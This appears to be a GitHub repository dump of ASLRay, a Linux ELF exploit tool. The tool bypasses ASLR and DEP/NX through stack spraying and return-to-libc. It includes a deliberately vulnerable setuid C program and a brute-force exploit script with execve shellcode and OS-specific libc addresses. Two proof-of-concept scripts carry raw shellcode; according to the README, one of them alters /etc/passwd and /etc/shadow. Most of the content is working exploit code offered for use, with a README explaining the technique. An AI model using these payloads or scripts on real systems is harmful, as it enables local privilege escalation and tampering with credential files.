├── test.c ├── PoC2.sh ├── LICENSE ├── PoC.sh ├── ASLRay.sh └── README.md /test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | //$ sudo gcc -z execstack test.c -o test 6 | //$ sudo gcc -m32 -z execstack test.c -o test32 7 | //$ sudo gcc -m32 test.c -o test32x 8 | //$ sudo chmod +s test test32 test32x 9 | 10 | void showInput(char *arg) 11 | { 12 | char buffer[1024]; 13 | strcpy(buffer,arg); 14 | puts("IN DEP/ASLR WE TRUST!"); 15 | } 16 | 17 | int main(int argc, char *argv[]) 18 | { 19 | if (argc != 2) 20 | printf("EXPLOIT THE ARGUMENT!\n"); 21 | else 22 | showInput(argv[1]); 23 | return 1; 24 | } 25 | -------------------------------------------------------------------------------- /PoC2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ./test32 $(echo -ne '\xeb\x4e\x5e\x8d\x3e\x31\xc9\xf7\xe1\x31\xed\x8a\x16\x88\xd0\xc0\xea\x04\xc1\xe0\x1c\xc1\xe8\x1c\x28\xc2\x79\x04\xf6\xd2\xfe\xc2\x31\xc0\x31\xdb\x31\xc9\x8a\x44\x2e\x01\x89\xe9\x80\xf1\x32\x74\x24\x88\xc1\x28\xd1\x88\xcb\x88\xc8\xc0\xeb\x04\xc1\xe0\x1c\xc1\xe8\x18\x01\xd8\xb3\xff\x28\xc3\x88\x1f\x47\x83\xc5\x02\xeb\xd0\xe8\xad\xff\xff\xff\x43\xed\x1d\xf4\x40\xfb\x6f\x7a\xa9\x0e\xb6\x0e\xbc\xc9\xe3\x7a\xaf\x7a\x78\x0e\xc5\xda\x76\x6a\x17\x1a\x4e\x68\x38\xc2\x99\xfb\x35\x68\x84\xd2\xb3\xcb\x7c\x68\x78\xe2\x9a\xf5\xe9\x50\xc0\x24\x91\xf8\xfe')$(for i in `seq 1 888`;do echo -n 'x';done)$(echo -n 'yyyyyyyy')$(echo -n 'zzzz') 4 | # http://shell-storm.org/shellcode/files/shellcode-902.php 5 | 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Maksym Zaitsev 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /PoC.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo cp /etc/passwd /etc/passwd.bk 4 | sudo cp /etc/shadow /etc/shadow.bk 5 | 6 | export SHELLCODE=$(echo -ne '\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xbb\x59\x45\x4f\x53\xba\x33\x36\x38\x37\x31\xd3\x53\xc1\xeb\x08\x53\xbb\x7a\x46\x59\x45\xba\x55\x36\x38\x36\x31\xd3\x53\xbb\x67\x58\x45\x4e\xba\x48\x3d\x31\x2d\x31\xd3\x53\x89\xe3\x68\x41\x41\xff\x01\x59\xc1\xe9\x08\xc1\xe9\x08\x6a\x0f\x58\xcd\x80\xbb\x53\x49\x57\x4a\xba\x39\x2d\x38\x3d\x31\xd3\xc1\xeb\x08\x53\xbb\x6d\x47\x45\x58\xba\x42\x34\x2d\x39\x31\xd3\x53\xbb\x6e\x54\x49\x57\xba\x41\x31\x3d\x34\x31\xd3\x53\x89\xe3\x68\x41\x41\xff\x01\x59\xc1\xe9\x08\xc1\xe9\x08\x6a\x0f\x58\xcd\x80\xbb\x73\x47\x4e\x51\xba\x32\x34\x39\x35\x31\xd3\xc1\xeb\x08\x53\xbb\x59\x44\x56\x44\xba\x76\x34\x37\x37\x31\xd3\x53\xbb\x4e\x58\x59\x51\xba\x61\x3d\x2d\x32\x31\xd3\x53\x89\xe3\x68\x41\x41\x01\x04\x59\xc1\xe9\x08\xc1\xe9\x08\x6a\x05\x58\xcd\x80\x89\xc3\x6a\x04\x58\x68\x41\x73\x68\x0a\x59\xc1\xe9\x08\x51\xb9\x57\x67\x57\x58\xba\x39\x48\x35\x39\x31\xd1\x51\xb9\x4e\x64\x5a\x51\xba\x74\x4b\x38\x38\x31\xd1\x51\xb9\x47\x57\x56\x42\xba\x35\x38\x39\x36\x31\xd1\x51\xb9\x61\x70\x51\x4e\xba\x2d\x39\x6b\x61\x31\xd1\x51\xb9\x48\x58\x70\x74\xba\x72\x68\x4a\x35\x31\xd1\x51\xb9\x76\x45\x56\x46\xba\x3d\x6b\x6c\x76\x31\xd1\x51\x68\x66\x77\x55\x57\x68\x68\x70\x31\x50\x68\x7a\x59\x65\x41\x68\x41\x61\x41\x51\x68\x49\x38\x75\x74\x68\x50\x4d\x59\x68\x68\x54\x42\x74\x7a\x68\x51\x2f\x38\x54\x68\x45\x36\x6d\x67\x68\x76\x50\x2e\x73\x68\x4e\x58\x52\x37\x68\x39\x4b\x55\x48\x68\x72\x2f\x59\x42\x68\x56\x78\x4b\x47\x68\x39\x55\x66\x5a\x68\x46\x56\x6a\x68\x68\x46\x63\x38\x79\x68\x70\x59\x6a\x71\x68\x77\x69\x53\x68\x68\x6e\x54\x67\x54\x68\x58\x4d\x69\x37\x68\x2f\x41\x6e\x24\x68\x70\x55\x6e\x4d\x68\x24\x36\x24\x6a\xb9\x73\x61\x74\x67\xba\x32\x2d\x3d\x5d\x31\xd1\x51\x89\xe1\xba\x41\x41\x41\x7f\xc1\xea\x08\xc1\xea\x08\xc1\xea\x08\xcd\x80\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x68\x52\x55\x48\x42\x68\x52\x51\x49\x43\xb9\x49\x4b\x59\x77\xba\x66\x38\x31\x35\x31\xd1\x51\xb9\x55\x55\x54\x57\xba\x7a\x37\x3d\x39\x31\xd1\x51\x89\xe3\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xb0\x01\xb3\x01\xcd\x80') 7 | # http://shell-storm.org/shellcode/files/shellcode-887.php 8 | 9 | ./test32 $(for i in `seq 1 1024`;do echo -n 'x';done)$(echo -n 'yyyy')$(echo -n 'zzzz')$(echo -n 'yyyy') 10 | -------------------------------------------------------------------------------- /ASLRay.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | FILE=$1 4 | BUFFER=$2 5 | SC=$3 6 | 7 | # red offensive style 8 | echo -e "\033[01;31m" 9 | echo " 10 | :::::::' 11 | '::::::: :::::' 12 | '::::: :::' 13 | '::: :' 14 | ': _TT_ 15 | _TT_ /____\\ 16 | _____ _ /____\\ | |_____ 17 | /\\ / ____| | | _TT_ | __ \\ 18 | / \\ | (___ | | | /____\\ | |__) |__ _ _ _ 19 | / /\\ \\ \\___ \\| | | | | | _ // _\` | | | | 20 | / ____ \\ ____) | |____| | | | | \\ \\ (_| | |_| | 21 | /_/ \\_\\_____/|______| | | |_| \\_\__,_|\\__, | 22 | | | | | __/ | 23 | | | |__| |___/ 24 | |___| | 25 | | | 26 | |____| 27 | " 28 | echo 'Linux ELF x32/x64 ASLR DEP bypass exploit with stack-spraying' 29 | echo -e "\e[0m" 30 | 31 | # check for architecture and buffer size 32 | if [ "$FILE" != "" ] && [ "$BUFFER" != "" ] 33 | then 34 | if [[ "$FILE" != *"/"* ]] 35 | then 36 | FILE=./$FILE 37 | # for local execution 38 | fi 39 | x86=$(file $FILE | grep '32-bit') 40 | if [[ "$x86" ]] 41 | then 42 | echo 'ELF IS 32-BIT' 43 | # check if DEP/NX enabled 44 | if [[ `readelf -l $FILE | grep RWE` ]] 45 | then 46 | echo 'STACK EXECUTABLE' 47 | echo 'SPRAYING NOPSLED AND SHELLCODE...' 48 | if [[ "$SC" != "" ]] 49 | then 50 | SC=$(echo $SC | sed s/x/\\\\x/g) 51 | export SHELLCODE=$(for i in {1..99999}; do echo -ne '\x90';done)$(echo -ne $SC) 52 | else 53 | export SHELLCODE=$(for i in {1..99999}; do echo -ne '\x90';done)$(echo -ne '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80') 54 | fi 55 | echo 'EXPLOITING...' 56 | $FILE $(for i in `seq 1 $BUFFER`;do echo -n 'x';done)$(echo -n 'yyyyyyyy')$(echo -n 'zzzz') 57 | while true ; do $FILE $(for i in `seq 1 $BUFFER`;do echo -n 'x';done)$(echo -n 'yyyyyyyy')$(echo -n 'zzzz')$(echo -ne '\x80\x80\xfc\xff') ; done 58 | else 59 | echo 'DEP/NX DETECTED' 60 | echo 'SPRAYING SHELL...' 61 | # for/while wont work for with \n so Ill have to write it manually 62 | export shell0=$(for i in {1..9999}; do echo -ne '/bin/sh\n';done) 63 | export shell1=$(for i in {1..9999}; do echo -ne '/bin/sh\n';done) 64 | export shell2=$(for i in {1..9999}; do echo -ne '/bin/sh\n';done) 65 | export shell3=$(for i in {1..9999}; do echo -ne '/bin/sh\n';done) 66 | export shell4=$(for i in {1..9999}; do echo -ne '/bin/sh\n';done) 67 | export shell5=$(for i in {1..9999}; do echo -ne '/bin/sh\n';done) 68 | export shell6=$(for i in {1..9999}; do echo -ne '/bin/sh\n';done) 69 | export shell7=$(for i in {1..9999}; do echo -ne '/bin/sh\n';done) 70 | export shell8=$(for i in {1..9999}; do echo -ne '/bin/sh\n';done) 71 | export shell9=$(for i in {1..9999}; do echo -ne '/bin/sh\n';done) 72 | echo 'EXPLOITING... may take a while, if stuck then retry' 73 | sleep 3 74 | # the libC address is OS specific 75 | TYPE=/etc/os-release 76 | if [[ `grep jessie $TYPE` ]] 77 | then 78 | while true ; do $FILE $(for i in `seq 1 $BUFFER`;do echo -n 'x';done)$(echo -n 'yyyyyyyy')$(echo -n 'zzzz')$(echo -ne '\xe0\x83\x58\xf7')$(echo -n 'XXXX')$(echo -ne '\x80\x80\x80\xff') ; done 79 | # TODO use 'timeout 1 $FILE' in order not to stuck, but how to spawn a shell? 80 | elif [[ `grep stretch $TYPE` ]] 81 | then 82 | while true ; do $FILE $(for i in `seq 1 $BUFFER`;do echo -n 'x';done)$(echo -n 'yyyyyyyy')$(echo -n 'zzzz')$(echo -ne '\x40\xe8\x62\xf7')$(echo -n 'XXXX')$(echo -ne '\x80\x80\x80\xff') ; done 83 | elif [[ `grep Xenial $TYPE` ]] 84 | then 85 | while true ; do $FILE $(for i in `seq 1 $BUFFER`;do echo -n 'x';done)$(echo -n 'yyyyyyyy')$(echo -n 'zzzz')$(echo -ne '\x40\xe9\x63\xf7')$(echo -n 'XXXX')$(echo -ne '\x80\x80\x80\xff') ; done 86 | elif [[ `grep Trusty $TYPE` ]] 87 | then 88 | while true ; do $FILE $(for i in `seq 1 $BUFFER`;do echo -n 'x';done)$(echo -n 'yyyyyyyy')$(echo -n 'zzzz')$(echo -ne '\x70\xce\x56\xf7')$(echo -n 'XXXX')$(echo -ne '\x80\x80\x80\xff') ; done 89 | else 90 | echo 'NOT DEBIAN OR UBUNTU!!!' 91 | exit 2 92 | fi 93 | fi 94 | echo 'IF NO SHELL - RETRY' 95 | else 96 | echo 'ELF IS 64-BIT' 97 | echo 'SPRAYING NOPSLED AND SHELLCODE...' 98 | if [[ "$SC" != "" ]] 99 | then 100 | SC=$(echo $SC | sed s/x/\\\\x/g) 101 | for n in {1..10} ; do export SHELLCODE$n=$(for i in {1..99999}; do echo -ne '\x90';done)$(echo -ne $SC); done 102 | else 103 | for n in {1..10} ; do export SHELLCODE$n=$(for i in {1..99999}; do echo -ne '\x90';done)$(echo -ne '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'); done 104 | fi 105 | echo 'EXPLOITING... may take a while' 106 | while true ; do $FILE $(for i in `seq 1 $BUFFER`;do echo -n 'x';done)$(echo -n 'yyyyyyyy')$(echo -ne '\x80\x80\x80\x80\xfc\x7f') ; done 107 | fi 108 | else 109 | echo 'Usage : source ASLRay.sh $ELF_BINARY $BUFFER_SIZE [$YOUR_SHELLCODE]' 110 | # `source` is needed to pass environment variables to TTY 111 | echo 'Example : source ./ASLRay.sh binary 128' 112 | echo 'Example : source ./ASLRay.sh binary 128 \x31\x80...' 113 | echo 'To check STK : scanelf -e binary | grep RWX || readelf -l binary | grep RWE' 114 | exit 1 115 | fi 116 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![Rawsec's CyberSecurity Inventory](http://inventory.raw.pm/img/badges/Rawsec-inventoried-FF5050_flat-square.svg)](http://inventory.raw.pm/tools.html#ASLRay) 2 | 3 | # ASLRay 4 | Linux ELF x32/x64 ASLR DEP/NX bypass exploit with stack-spraying 5 | 6 | ![](https://i.imgur.com/mBuqu8J.jpg) 7 | 8 | Properties: 9 | * ASLR bypass 10 | * DEP/NX bypass 11 | * Cross-platform 12 | * Minimalistic 13 | * Simplicity 14 | * Unpatchable 15 | 16 | Dependencies: 17 | * **Linux 2.6.12+** - would work on any x86-64 Linux-based OS 18 | - BASH - the whole script 19 | 20 | Limitations: 21 | * Stack needs to be executable (-z execstack) for x64 22 | * Binary has to be exploited through arguments locally (not file, socket or input) 23 | * No support for other architectures and OSes (TODO) 24 | * Need to know the buffer limit/size 25 | 26 | ## How it works 27 | You might have heard of [Heap Spraying](https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/) attack? Well, [Stack Spraying](http://j00ru.vexillium.org/?p=769) is similar, however, it was considered unpractical for most cases, especially [ASLR](https://en.wikipedia.org/wiki/Address_space_layout_randomization) on x86-64. 28 | 29 | My work will prove the opposite. 30 | 31 | For 32-bit, there are 2^32 (4 294 967 296) theoretical addresses, nevertheless, the kernel will allow to control about only half of bits (2^(32/2) = 65 536) for an execution in a virtualized memory, which means that if we control more that 50 000 characters in stack, we are almost sure to point to our shellcode, regardless the address, thanks to kernel redirection and retranslation. According to my tests, even 100 or 10 characters are enough if the called function doesn't contain other variable creations, which will allow ROP-style attack. 32 | 33 | This can be achieved using shell variables, which aren't really limited to a specific length, but practical limit is about one hundrer thousand, otherwise it will saturate the TTY. 34 | 35 | So, in order to exploit successfully with any shellcode, we need to put a [NOP sled](https://en.wikipedia.org/wiki/NOP_slide) following the shellcode into a shell variable and just exploit the binary with a random address. Note that NOP sled isn't necessary, this is just to universalise the exploit. 36 | 37 | 38 | In 64-bit system the situation is different, but not so much as of my discovery. 39 | 40 | Of course, you wouldn't have to cover all 2^64 possibilities, in fact, the kernel allows only 48 bits, plus a part of them are predictable and static, which left us with about 2^(4x8+5) (137 438 953 472) possibilities. 41 | 42 | I have mentioned the shell variables size limit, but there is also a count limit, which appears to be about 10, thus allowing us to stock a 1 000 000 character shellcode, living us with just some tenth of thousand possibilities that can be tested rapidly and automatically. This time however, you will need to bruteforce and use NOP-sleds in order to make things quicker. 43 | 44 | That said, ASLR on both 32 and 64-bits can be easily bypassed in few minutes and with few lines of shell... 45 | 46 | The DEP/NX on the other hand, can be bypassed on x32 using [return-to-libc](https://www.exploit-db.com/docs/28553.pdf) technique by coupling it with statistical studies of different OSes, more specifically, their ASLR limitations and implementations, which can lead to a successful exploitation for 2 reasons. 47 | The rist one is being ASLR not so random in its choice and having some constants and poor entropy (easy to guess libC address and each OS has its own constants). 48 | The second one is spraying the shell argument for libC into environment (easy to find and pass it to libC). 49 | 50 | To conclude, DEP/NX on 32-bits is weakened because of ASLR. 51 | 52 | A more detailed description can be found in Hakin9-12-14 [issue](https://hakin9.org/download/hakin9-open-open-source-tools/). 53 | 54 | ### HowTo 55 | 56 | If you have exploited at least one buffer overflow in your life, you can skip, but just in case: 57 | ```bash 58 | apt install gcc libc6-dev-i386 || kill -9 $$ 59 | chmod u+x ASLRay.sh 60 | sudo gcc -z execstack test.c -o test 61 | sudo gcc -m32 -z execstack test.c -o test32 62 | sudo chmod +s test test32 63 | source ASLRay.sh test32 1024 64 | source ASLRay.sh test 1024 65 | source ASLRay.sh test 1024 \x31\x80...your_shellcode_here 66 | sudo gcc -m32 test.c -o test32x 67 | sudo chmod +s test test32 68 | source ASLRay.sh test32x 1024 69 | ``` 70 | To prove that NOP-sled isn't necessary for Debian x32: 71 | 72 | **!!! WARNING !!!** this will modify your /etc/passwd and change permissions of /etc/shadow, VM execution adviced 73 | ```bash 74 | chmod u+x PoC.sh 75 | source PoC.sh 76 | grep ALI /etc/passwd 77 | ``` 78 | In case it still doesn't work, just add some NOPs (\x90) in the beginning. 79 | 80 | To prove that even environmental variable isn't necessary for Debian x32: 81 | ```bash 82 | chmod u+x PoC2.sh 83 | source PoC2.sh 84 | ``` 85 | 86 | Thus you can just put your shellcode into a variable and give random addresses to registers for a shell with ASLR, this is because the specific context where the function only has one variable which will be rewritten, so the stack will be popped to EIP just with our shellcode, which is more like a [ROP](https://www.rapid7.com/resources/rop-exploit-explained/) attack. 87 | 88 | 89 | For Arch/Ubuntu you will also need to disable stack smashing protection and brute-force may take much longer (execution delay, probably due to brk(NULL/0) syscall or/and canary) : 90 | ```bash 91 | sudo gcc -z execstack -fno-stack-protector test.c -o test 92 | sudo gcc -m32 -z execstack -fno-stack-protector test.c -o test32 93 | sudo gcc -m32 -fno-stack-protector test.c -o test32x 94 | ``` 95 | 96 | In Debian 10, this issue was partially patched, notably due to AppArmor. 97 | 98 | #### Notes 99 | 100 | Always rely on multiple protections and not on a single one. 101 | 102 | We need new system security mechanisms. 103 | 104 | > "From where we stand the rain seems random. If we could stand somewhere else, we would see the order in it. " 105 | 106 | Tony Hillerman, *Coyote Waits* 107 | --------------------------------------------------------------------------------